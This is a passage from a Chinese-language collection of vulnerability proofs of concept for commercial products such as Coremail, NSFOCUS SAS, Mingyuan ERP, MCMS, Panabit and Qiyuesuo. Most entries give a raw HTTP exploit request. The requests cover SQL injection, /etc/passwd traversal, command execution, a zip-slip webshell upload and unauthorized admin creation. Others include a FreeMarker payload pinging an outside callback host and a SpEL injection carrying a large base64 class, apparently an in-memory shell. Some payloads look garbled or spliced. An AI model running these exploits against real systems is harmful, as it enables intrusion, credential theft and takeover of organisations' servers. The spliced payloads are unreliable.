NlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2l
nbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAA
AAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAAACAcHAgICAgICAgITE9JO7
irREYv7AKDJDyb3Cws=</strFormAssignment>
      <isBase>0</isBase>
      </GetChildFormAndEntityList>
    </soap:Body>
</soap:Envelope>
```

乐享

乐享智能运维管理平台getToken存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/auth-ui/v1/api/user/token/getToken
- 漏洞详情：

```
POST /auth-ui/v1/api/user/token/getToken HTTP/1.1

account=admin');SELECT PG_SLEEP(5)--
&password=6e0f9e14344c5406a0cf5a3b4dfb665f87f4a771a31f7edbb5c72874a32b2957
```

联软

联软安渡 UniNXG 安全数据交换系统SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/UniExServices/link/queryLinkInfo?address=%27%3BSELECT%20PG_SLEEP%285%29--
- 漏洞详情：

```
/UniExServices/link/queryLinkInfo?address=%27%3BSELECT%20PG_SLEEP%285%29--
```

联软安渡UniNXG安全数据交换系统poserver.zz存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/UniExServices/poserver.zz
- 漏洞详情：

```
GET /UniExServices/poserver.zz?pgop=opendiskdoc&id=KmcgY3MtK3IpLSRfOXE9YmpkL2orbBdrKztnJCltInIrbDhyP24rOzhjPHI= HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
```

联软 UniSDP 零信任访问控制系统 jwt token 泄露漏洞

- 漏洞类型：1day - 信息泄露
- 涉及版本：未知
- 利用路径：/emm-core/oauth/token
- 漏洞详情：

```
GET /emm-core/oauth/token HTTP/1.1
```

论客

Coremail 邮件系统溢出

- 漏洞类型：nday - RCE
- 涉及版本：XT 5.0.13
- 利用路径：未知
- 漏洞详情：

```
攻击者123.56.109.160
```

Coremail邮件系统未授权访问获取管理员账密

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/coremail/common/assets/;
- 漏洞详情：

```
/coremail/common/assets/;/;/;/;/;/;/s?__biz=MzI3MTk4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa72626e68&chksm=eb3834e5dc4fbdf3a9529734de7e6958e1b7efabecd1c1b340c53c80299ff5c688bf6adaed61&scene=2
```

绿盟

绿盟 SAS堡垒机 Exec 远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/webconf/Exec/index?cmd=
- 漏洞详情：

```
GET /webconf/Exec/index?cmd=id HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=4b250694b3e8973d81aaa03eefc85509
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
```

```
Connection: close
```

迈普

迈普-多业务融合网关-信息泄露

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/.htpasswd/
- 漏洞详情：

```
/.htpasswd/
```

满客宝

满客宝后台管理系统downloadWebFile存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/base/api/v1/kitchenVideo/downloadWebFile.swagger
- 漏洞详情：

```
GET /base/api/v1/kitchenVideo/downloadWebFile.swagger?
fileName=&ossKey=/../../../../../../../../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
```

满客宝智慧食堂系统selectUserByOrgId存在未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/yuding/selectUserByOrgId.action
- 漏洞详情：

```
GET /yuding/selectUserByOrgId.action?record= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
```

明源

明源云ERP接口ApiUpdate.ashx文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/myunke/ApiUpdateTool/ApiUpdate.ashx
- 漏洞详情：

```
POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x
00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a
\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\
x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0
\xd1\xd6\xb8\xc0\xae\xa4\xe1-
\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9
d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x
1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00
\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdcclou
d/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00
\x00\x00\x00")}}
vsoft=kvm&hostType=physical&name=penson&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&
memory=16&diskSize=16&desc=&uid=640be59da4851&type=za
```

铭飞

铭飞MCMS 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/static/plugins/ueditor/1.4.3.3/jsp/editor.do
- 漏洞详情：

```
POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?
jsonConfig=%7b%76%69%64%65%6f%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%66%69%6c%65%
4d%61%6e%61%67%65%72%4c%69%73%74%50%61%74%68%3a%27%27%2c%69%6d%61%67%65%4d%61%78%
53%69%7a%65%3a%32%30%34%38%30%30%30%30%30%2c%76%69%64%65%6f%4d%61%78%53%69%7a%65%
3a%32%30%34%38%30%30%30%30%30%2c%66%69%6c%65%4d%61%78%53%69%7a%65%3a%32%30%34%38%
30%30%30%30%30%2c%66%69%6c%65%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%69%6d%61%67%
65%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%69%6d%61%67%65%50%61%74%68%46%6f%72%6d%
61%74%3a%27%2f%7b%5c%75%30%30%32%45%5c%75%30%30%32%45%5c%75%30%30%32%46%7d%7b%74%
65%6d%70%6c%61%74%65%2f%31%2f%64%65%66%61%75%6c%74%2f%7d%7b%74%69%6d%65%7d%27%2c%
66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%75%70%6c%6f%61%64%2f%31%2f%63%
6d%73%2f%63%6f%6e%74%65%6e%74%2f%65%64%69%74%6f%72%2f%7b%74%69%6d%65%7d%27%2c%76%
69%64%65%6f%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%75%70%6c%6f%61%64%2f%31%2f%63%
6d%73%2f%63%6f%6e%74%65%6e%74%2f%65%64%69%74%6f%72%2f%7b%74%69%6d%65%7d%27%2c%22%
69%6d%61%67%65%41%6c%6c%6f%77%46%69%6c%65%73%22%3a%5b%22%2e%70%6e%67%22%2c%20%22%
2e%6a%70%67%22%2c%20%22%2e%6a%70%65%67%22%2c%20%22%2e%6a%73%70%78%22%2c%20%22%2e%
6a%73%70%22%2c%22%2e%68%74%6d%22%5d%7d%0a&action=uploadimage HTTP/1.1
Accept: */*
Host:
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data;
boundary=--------------------------583450229485407027180070
Content-Length: 278

----------------------------583450229485407027180070
Content-Disposition: form-data; name="upload"; filename="2.htm"
Content-Type: image/png

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping
xudzooqzos.dgrh3.cn") }
----------------------------583450229485407027180070--
```

派网

北京派网软件有限公司Panabit-Panalog大数据日志审计系统sprog_upstatus.php存在SQL注入漏洞(CVE-2024-2014)

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Maintain/sprog_upstatus.php
- 漏洞详情：

```
GET /Maintain/sprog_upstatus.php?
status=1&id=1%20and%20updatexml(1,concat(0x7e,user()),0)&rdb=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: 103.39.233.29
```

奇安信

奇安信天擎EDR服务端V10 0day

- 漏洞类型：0day - RCE
- 涉及版本：V10
- 利用路径：未知
- 漏洞详情：

```
未知
```

网神SecSSL3600安全接入网关系统任意密码修改漏洞

- 漏洞类型：1day - 密码重置
- 涉及版本：全版本
- 利用路径：/changepass.php
- 漏洞详情：

```
POST /changepass.php?type=2 HTTP/1.1
host:
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff;
last_step_param={"this_name":"test","subAuthId":"1"}

old_pass=&password=Test123!@&repassword=Test123!@
```

网康 NS-ASG sql 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/admin/list_addr_fwresource_ip.php
- 漏洞详情：

```
POST /admin/list_addr_fwresource_ip.php HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=f30e8a16a1b6373bbc11e1ce84445033
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101Firefox/110.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://ip:port
Referer: https://ip:port/admin/list_addr_fwresource_ip.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
```

```
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
ResId%5B%5D=13*&action=delete
```

网康 NS-ASG 信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/configsave/manufacture-default.tar.gz
- 漏洞详情：

```
/configsave/manufacture-default.tar.gz
```

网神SecGate3600未授权添加用户漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/cgi-bin/authUser/authManageSet.cgi
- 漏洞详情：

```
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101
Firefox/120.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 93
Connection: close
type=saveAdmin&id=2&userName=audit&pwd=audit@1234&net=0.0.0.0&mask=0.0.0.0&port=A
NY&allow=Y
```

启明星辰

天玥网络安全审计系统 SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ops/index.php
- 漏洞详情：

```
POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close

checkname=123&tagid=123 AND 8475=(SELECT 8475 FROM PG_SLEEP(5))-- BAUh
```

天清汉马vpn任意文件读取

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/vpn/user/download/client?ostype=../../../../../../../etc/passwd
- 漏洞详情：

```
/vpn/user/download/client?ostype=../../../../../../../etc/passwd
```

启业云

启业云运维平台 未授权创建管理员用户漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/user/register/init
- 漏洞详情：

```
GET /user/register/init HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/122.0.0.0 Safari/537.36
```

契约锁

契约锁电子签章平台ukeysign存在远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/contract/ukeysign/.%2e/.%2e/template/param/edits
- 漏洞详情：

```
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like
Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json

{"id":"2","params":[{"expression":"var a=new
org.springframework.expression.spel.standard.SpelExpressionParser();var b='SpEL
表达式的 base64 编
码';var b64=java.util.Base64.getDecoder();var deStr=new
java.lang.String(b64.decode(b),'UTF-
8');var c=a.parseExpression(deStr);c.getValue();"}]}
```

契约锁电子签章平台 /param/edits 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/param/edits
- 漏洞详情：

```
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
X-State: id
```

```
{"id":"2","params":[{"expression":"var a=new
org.springframework.expression.spel.standard.SpelExpressionParser();var
b='VCAob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3
MoIlF5c1Rlc3QiLFQgKG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5CYXNlNjRVdGlscykuIGRlY29kZUZ
yb21TdHJpbmcoInl2NjZ2Z0FBQURJQktBb0FJUUNXQ0FDWENnQ1lBSmtLQUpnQW1nb0Ftd0NjQ0FDZENn
Q2JBSjRIQUo4SUFLQUlBS0VJQUtJSUFLTUtBQjhBcEFvQXBRQ21DQUNuQ2dDWUFLZ0tBS1VBcVFjQWd3b
0FtQUNxQ0FDckNnQXNBS3dLQUNFQXJRb0FId0NxQ0FDdUNnQWZBSzhLQUxBQXFnZ0FzUW9BTEFDeUNBQ3
pDQUMwQndDMUNnQWZBTFlIQUxjS0FMZ0F1UWdBdWdjQXV3Z0F2QWdBdlFjQXZnb0FKd0MvQ2dBbkFNQUt
BQ2NBd1FnQXdnY0F3d2dBeEFnQXhRa0F4Z0RIQ2dER0FNZ0lBTWtIQU1vSUFNc0lBTXdJQU0wS0FNNEF6
d29BTEFEUUNBRFJDQURTQ0FEVENBRFVDQURWQndEV0NnRFhBTmdLQU5jQTJRb0EyZ0RiQ2dBOUFOd0lBT
jBLQUQwQTNnb0FQUURmQndEZ0NnQkZBSllJQU9FS0FDd0E0Z29BUlFEakNBRGtDQURsQndEbUNnQk1BT2
NJQU9nSEFPa0JBQVk4YVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXh
sQVFBU1RHOWpZV3hXWVhKcFlXSnNaVlJoWW14bEFRQVkR2hwY3dFQUNVeFJlWE5VWlhOME93RUFDR1J2
U1c1cVpXTjBBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBVjJZWEl5T0FFQUlreHFZWFpoT
DJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmpzQkFBVjJZWEl5TmdFQUdVeHFZWFpoTD
J4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBVjJZWEl5TndFQUlVeHFZWFpoTDJ4aGJtY3ZUbTlUZFd
Ob1RXVjBhRzlrUlhoaalpYQjBhVzl1T3dFQUJYWmhjak14QVFBRmRtRnlNeklCQUJKTWFtRjJZUzlzWVc1
bkwwOWlhbVZqZERzQkFBVjJZWEl6TXdFQUJYSmxjRzl1QVFBRGMzUnlBUUFTVEdwaGRtRXZiR0Z1Wnk5V
GRISnBibWM3QVFBRVkyMWtjd0VBRTF0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbHlaWE4xYkhSVG
RISUJBQVpsYm1OdlpHVUJBQVYyWVhJek1BRUFCWFpoY2pJNUFRQUJTUUVBQlhaaGNqSXhBUUFGZG1GeU1
qSUJBQVYyWVhJeU13RUFCWFpoY2pJMEFRQUZkbUZ5TWpVQkFBVjJZWEkzT0FFQUZVeHFZWFpoTDNWMGFX
d3ZRWEp5WVhsTWFYTjBPd0VBQlhaaGNqSXdBUUFGZG1GeU1Ua0JBQkpNYW1GMllTOXNZVzVuTDFSb2NtV
mhaRHNCQUFWMllYSXhPQUVBQkhhaGNqZ0JBQVIyWVhJNUFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweH
ZZV1JsY2pzQkFBVjJZWEl4TUFFQUVVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZkbUZ5TVRFQkFBVjJ
ZWEl4TWdFQUJYWmhjakV6QVFBRmRtRnlNVFFCQUFWMllYSXhOUUVBQlhhaGNqRTJBUUFVVzB4cVlYWmhM
MnhoYm1jdlZHaHlaV0ZrT3dFQUJYWmhjakUzQVFBQldnRUFGVXhxWVhaaEwyeGhibWN2UlhoaalpYQjBhV
zl1T3dFQUEyMXpad0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTU1IQU9vSEFPc0hBSjhIQUxVSEFPd0hBTG
NIQUxzSEFMNEhBR2NIQU9ZQkFBcFRiM1Z5WTJWR2FXeGxBUUFNVVhselZHVnpkQzVxWVhaaERBQlFBRkV
CQUFWemRHRnlkQWNBNmd3QTdRRHVEQUR2QVBBSEFPc01BUEVBOEFFQUhXOXlaeTVoY0dGamFHVXVZMjk1
YjNSbExsSmxjWFZsYzNSSmJtWnZEQUR5QVBNQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1W
kVWNFkyVndkR2x2YmdFQUVHcGhkbUV1YkdGdVp5NVVhSEpsWVdRQkFCVnFZWFpoTG14aGJtY3VWR2h5Wl
dGa1IzSnZkWEFCQUNKdmNtY3VZWEJoWTJobExtTnZlVzkwWlM1U1pYRjFaWE4wUjNKdmRYQkpibVp2QVF
BSGRHaHlaV0ZrY3d3QTlBRDFCd0RzREFEMkFQY0JBQVowWVhKblpYUU1BUGdBK1F3QStnRDdEQUQ4QUZn
QkFBUm9kSFJ3REFEOUFQNE1BUDhCQUFFQUNVVnVaSEJ2YVc1MEpBd0JBUUVDQndFREFRWFiM0puTG1Gd
1lXTm9aUzUwYjIxallUVkWFJwYkM1dVpYUU1BUVFCQlFFQUJuUm9hWE1rTUFFQUNtZGxkRWhoYm1Sc1
pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BUVlCQndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRSEF
RZ01BUWtCQ2dFQUNXZGxkRWRzYjJKaGJBRUFIMnBoZG1FdmJHRnVaeTlPYjFOMVkyaE5aWFJvYjJSRmVH
TmxjSFJwYjI0QkFBWm5iRzlpWWd3QkFCcHdjbTlqWlhOemIzSnpBUUFUYW1GMllTOTFkR2xzTDBGeWNtR
jVUR2x6ZEF3QkN3RU1EQUVOQVE0TUFQb0JEd0VBRTJkbGRGRGZHZjbXRsY2xSb2NtVmhaRTVoYldkVQkFCQn
FZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQURjbVZ4QVFBSFoyVjBUbkwWlFjQkVBd0JFUUI4REFFU0FSTUJ
BQXRuWlhSU1pYTndiMjV6WlFFQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFDV2RsZEVobFlXUmxj
Z0VBQjFndFUzUmhkR1VCQUFkdmN5NXVZVzFsQndFVURBRVZBUllNQVJjQVdBRUFCbmRwYm1SdmR3RUFCM
k50WkM1bGVHVUJBQUl2WXdFQUJ5OWlhVzR2YzJnQkFBSXRZd0VBRVdwaGRtRXZkWFJwYkM5VFkyRnVibV
Z5QndFWURBRVpBUm9NQVJzQkhBWUJIUXdCSGdFZkRBQlFBU0FCQUFKY1FRd0JJUVpREFFakFGZ0JBQlp
6ZFc0dmJXbHpZeTlDUVZORk5qUkZibU52WkdWeUFRQUZWVlJHTFRnTUFTUUJKUXdBYVFFbUFRQUpZV1Jr
U0dWaFpHVnlBUUFIYzNWalkyVnpjd0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0TUFTY0FVUUVBQ
ldweWNtOXlBUUFIVVhselZHVnpkQUVBRUdwaGRtRXZiR0Z1Wnk5VWFISmxZV1FCQUJWcVlYWmhMMnhoYm
1jdlEyeGhjM05NYjJGa1pYSUJBQmRxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlHYVdWc1pBRUFEV04xY25
KbGJuUlVhSEpsWVdRQkFCUW9LVXhxWVhaaEwyeGhibWN2VkdoeVpXRmtPd0VBRldkbGRGTnZiblJsZUhS
RGJHRnpjMHh2WVdSbGNnRUFHU2dwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQWxuWlhSU
VlYSmxiblFCQUFsc2IyRmtRMnhoYzNNQkFDVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaaE
wyeGhibWN2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkw
xTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzZWldOMEwwWnBaV3hrT3dFQURYTmxkRUZqWTJWemMy
bGliR1VCQUFRb1dpbFdBUUFPWjJWMFZHaHlaV0ZrUjNKdmRYQUJBQmtvS1V4cVlYWmhMMnhoYm1jdlZHa
HlaV0ZrUjNKdmRYQTdBUUFFWjJWMEFRQW1LRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOX
NZVzVuTDA5aWFtVmpkRHNCQUFkblpYUk9ZVzFsQVFBSVkyOXVkR0ZwYm5NQkFCc29UR3BoZG1FdmJHRnV
```

```
aeTlEYUdGeVUyVnhkV1Z1WTJVN0tWb0JBQWhuWlhSRGJHRnpjd0VBRXlncFRHcGhkbUV2YkdGdVp5OURi
R0Z6Y3pzQkFBcG5aWFJRWVdOcllXZGxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxQmhZMnRoWjJVN0FRQVJhb
UYyWVM5c1lXNW5MMUJoWTJ0aFoyVUJBQVpsY1hwaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1
E3S1ZvQkFBbG5aWFJOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnh
oYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBWWFtRjJZUzlz
WVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrQVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4aGJtY3ZUMkpxW
ldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFGWT
J4dmJtVUJBQlFvS1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUJITnBlbVVCQUFNb0tVa0JBQlVvU1N
sTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFCRnFZWFpoTDJ4aGJtY3ZTVzUwWldkbGNnRUFCRlJaVUVV
QkFBZDJZV3gxWlU5bUFRQVdLRWtwVEdwaGRtRXZiR0Z1Wnk5SmJuUmxaMlZ5T3dFQUVHcGhkbUV2YkdGd
Vp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1pYSjBlUUVBSmxoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcF
RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUxkRzlNYjNkbGNrTmhjMlVCQUJGcVlYWmhMMnhoYm1jdlN
uVnkR2x0WlFFQUNtZGxkRkoxYm5ScGJXVUJBQlVvS1V4cVlYWmhMMnhoYm1jdlJ1VnVkR2x0WlRzQkFB
UmxlR1ZqQVFBb0tGdE1hbUYyWVM5c1lXNW5MU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYT
npPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56UVFBBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeH
FZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3B
WZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZk
WFJwYkM5VFkyRnVibVZ5T3dFQUJHNWxlSFFCQUFobGpYUk5lWFJsY3dFQUZpaE1hbUYyWVM5c1lXNW5MM
U4wY21sdVp6c3BXTUElCQUJZb1cwSXBUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFQY0hKcGJuUlkRkR0
ZqYTFSeVlXTmxBQ0VBBVHdBaEFBQUFBQUFDQUFFQVVBQlJBQUVBBVWdBQUFDOEFBUUFCQUFBQUJTcTNBQUd
4QUFBQUFnQlRBQUFBQmdBQkFBQUFDUUJVQUFBQURBQUJBQUFBBQlFCVkFGWUFBQUFKQUZjQVdBQUJBRkl
QUFjaUFBWUFJQUFBQXVrU0FrdTRBQU5SSzdZQUJMWUFCVVBzRWdhMkFBZFFhd0FKVGl1MkFBUk5MQklKRkd
GdBSFRpd1NNDllBQnpvRUxCSUd0Z0FIT2dCTWJBQ1M2QmhrRUVneTJBQTZQQnhrSEJJMWUFEaTBTQTRnQmhrR
dZQURUb0lHUWdGdGdBT2dFY3J0Z0FFRkdBUndBQVN3QVFBTVFBZlBZ2tETmdvRE5ncVpDZGVGtKdnF
JQ1hhCa0pGdUxON5T2d3WkRNWUNTaGtNdGdBVEVoUzJBQldaQWowWkNaO1oZ0FST2cwWkRjWUNNeGtOdGdB
V3RnQVhhRGlYWUFHaElidGdBY21RSU1HUTJZQUJZZU9hR0I1RUlRR0FEVG9QR1FkR0dBYUd0aGlnTkZGd0
5RUFtQXRQVTJKbVJpWHJUekIQUhVZ0VZQUlQUkV0OFIWFRhQVFQQkExUUdBRUQ0eUxUVjhBQUVNOTVnaUNFY2
VWcEJaTGVNVFJGZTNJbVFRTUlPRk1UR3BQWkJUbkJhdGRrRm5ZWTlaRnRLdE1tRlNEQWplbXEyZTdZWF
JUdVJJZTd5WmZYQnBRQnJ3bGdJeTF1ZE9QZkIvZmMzeVl2UVhIQ2psUWRRVzVNUFFReFRJQ1JFa2lNVmZR
JhcVZ0cVNnVkRIYjJ1UzRXbVR4d3pUbjdGaDJNamFmd1o2SXZ5aUZ3WmRlMnhCeHBoUXk1SmFhNk1xZnp
RUFBemUTmVmxkZ2ZQV29vQ3kzR21aVnFKbWZSVTNvQ1NoSndzc1BGSGdJb21IMm4wZFhHY2UrVUJ0MHJmQVh
NNU1KMnUwU3ZSbWxGdHBnb0FZQ0x0dWlWTVkzTkxrZ2JaN3dmamNIaXBtTDRvQXVWamQ3UkJkbnp3NkhCd
1FUWDlvWFpBT0JJcFlYZUhEUUlvV1JyUHVSdTlVZFNiVVpaRFNBUGZ3YWJkTWFEcEhvbjA4cmtXclpGMlN
URGx2TmpWR0c4QWFtenVyckpVcDVsekJwaXlZZzdMcCtmcUV4K0tOa3dWOTB1M2lTQnBhVXA4N2V3OTBO
